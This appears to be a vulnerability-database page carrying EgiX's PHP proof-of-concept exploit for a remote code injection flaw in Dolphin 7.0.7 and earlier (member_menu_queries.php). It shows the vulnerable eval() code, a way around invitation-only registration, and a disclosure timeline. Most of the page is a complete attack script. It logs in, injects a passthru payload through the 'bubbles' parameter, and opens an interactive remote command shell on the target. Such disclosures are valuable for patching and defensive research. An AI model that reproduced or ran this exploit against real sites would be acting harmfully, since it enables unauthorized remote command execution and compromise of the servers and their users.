Lucene search
K

Dolphin <= 7.0.7 (member_menu_queries.php) Remote PHP Code Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

Dolphin <= 7.0.7 Remote PHP Code Injection in member_menu_queries.ph

Code

                                                &#60;?php

/*
    ----------------------------------------------------------------------------
    Dolphin &#60;= 7.0.7 (member_menu_queries.php) Remote PHP Code Injection Exploit
    ----------------------------------------------------------------------------
    
    author...............: EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........: http://www.boonex.com/dolphin
    affected versions....: from 7.0.0 to 7.0.7
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in /member_menu_queries.php
    
    61.                case &#39;get_bubbles_values&#39; :
    62.                    $sBubbles = ( isset($_GET[&#39;bubbles&#39;]) ) ?  $_GET[&#39;bubbles&#39;] : null;
    63.                    if ( $sBubbles && $iMemberId ) {
    64.    
    65.                        $aMemberInfo  = getProfileInfo($iMemberId);
    66.                        if($aMemberInfo[&#39;UserStatus&#39;] != &#39;offline&#39;) {
    67.                            // update the date of last navigate;
    68.                            update_date_lastnav($iMemberId);
    69.                        }
    70.    
    71.                        $aBubbles = array();
    72.                        $aBubblesItems = explode(&#39;,&#39;, $sBubbles);
    73.    
    74.                        if ( $aBubblesItems && is_array($aBubblesItems) ) {
    75.                            $bClearCache = false;
    76.                            foreach( $aBubblesItems as $sValue)
    77.                            {
    78.                                $aItem   = explode(&#39;:&#39;, $sValue);
    79.    
    80.                                $sBubbleCode = null;
    81.                                foreach($aMenuStructure as $sKey =&#62; $aItems)
    82.                                {
    83.                                    foreach($aItems as $iKey =&#62; $aSubItems)
    84.                                    {
    85.                                        if( $aSubItems[&#39;Name&#39;] == $aItem[0]) {
    86.                                            $sBubbleCode = $aSubItems[&#39;Bubble&#39;];
    87.                                            break;
    88.                                        }
    89.                                    }
    90.    
    91.                                    if ($sBubbleCode) {
    92.                                        break;
    93.                                    }
    94.                                }
    95.    
    96.                                if ($sBubbleCode) {
    97.                                    $sCode  = str_replace(&#39;{iOldCount}&#39;, $aItem[1], $sBubbleCode);
    98.                                    $sCode  = str_replace(&#39;{ID}&#39;, $iMemberId, $sCode);
    99.    
    100.                                   eval($sCode);
    
    When handling &#39;get_bubbles_values&#39; action, input passed through $_GET[&#39;bubbles&#39;] isn&#39;t properly sanitized
    before being used in a call to eval() at line 100, this can be exploited to inject arbitrary PHP code.
    Successful exploitation of this vulnerability requires authentication, but is always possible to create a
    new account also if &#39;REGISTRATION BY INVITATION ONLY&#39; is enabled, in this case an attacker could bypass
    the restriction visiting first /index.php?idFriend=1 and after point to /join.php for a new registration.
    
    
    [-] Disclosure timeline:
    
    [25/09/2011] - Vulnerability discovered
    [26/09/2011] - Issue reported to http://www.boonex.com/forums/topic/PHP-Code-Injection.htm
    [26/09/2011] - A moderator hide the topic
    [29/09/2011] - Vendor contacted again through http://www.boonex.com/help/contact
    [04/10/2011] - Vendor replied that there is a designated place for this kind of report: &#34;Dolphin Bug Reports&#34; forum
    [04/10/2011] - I replied that I&#39;ve already posted in this forum, but the topic has been hidden
    [05/10/2011] - Vendor reply: &#34;It may has been hidden because it WASN&#39;T posted in the proper place&#34;
    [05/10/2011] - My reply: &#34;It has been hidden for security reason, the moderator told me to report the issue through http://www.boonex.com/help/contact&#34;
    [08/10/2011] - Vendor replied that a patch will be released as soon as possible
    [13/10/2011] - Vendor update released: http://www.boonex.com/n/dolphin-7-0-8-beta-1
    [18/10/2011] - Public disclosure
    
*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( &#34;\n[-] No response from {$host}:80\n&#34;);
    
    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print &#34;\n+------------------------------------------------------------+&#34;;
print &#34;\n| Dolphin &#60;= 7.0.7 Remote PHP Code Injection Exploit by EgiX |&#34;;
print &#34;\n+------------------------------------------------------------+\n&#34;;

if ($argc &#60; 5)
{
    print &#34;\nUsage......: php $argv[0] &#60;host&#62; &#60;path&#62; &#60;username&#62; &#60;password&#62;\n&#34;;
    print &#34;\nExample....: php $argv[0] localhost / user pass&#34;;
    print &#34;\nExample....: php $argv[0] localhost /dolphin/ user pass\n&#34;;
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload = &#34;ID={$argv[3]}&Password={$argv[4]}&#34;;
$packet  = &#34;POST {$path}member.php HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n{$payload}&#34;;
    
if (!preg_match(&#34;/memberID=([0-9]+).*memberPassword=([0-9a-f]+)/is&#34;, http_send($host, $packet), $m)) die(&#34;\n[-] Login failed!\n&#34;);

$phpcode = &#34;1);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD])&#34;;
$packet  = &#34;GET {$path}member_menu_queries.php?action=get_bubbles_values&bubbles=Friends:{$phpcode} HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cookie: memberID={$m[1]}; memberPassword={$m[2]}\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

while(1)
{
    print &#34;\ndolphin-shell# &#34;;
    if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break;
    preg_match(&#34;/\r\n\r\n(.*)\{\&#34;Friends/s&#34;, http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die(&#34;\n[-] Exploit failed!\n&#34;);
}

?&#62;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation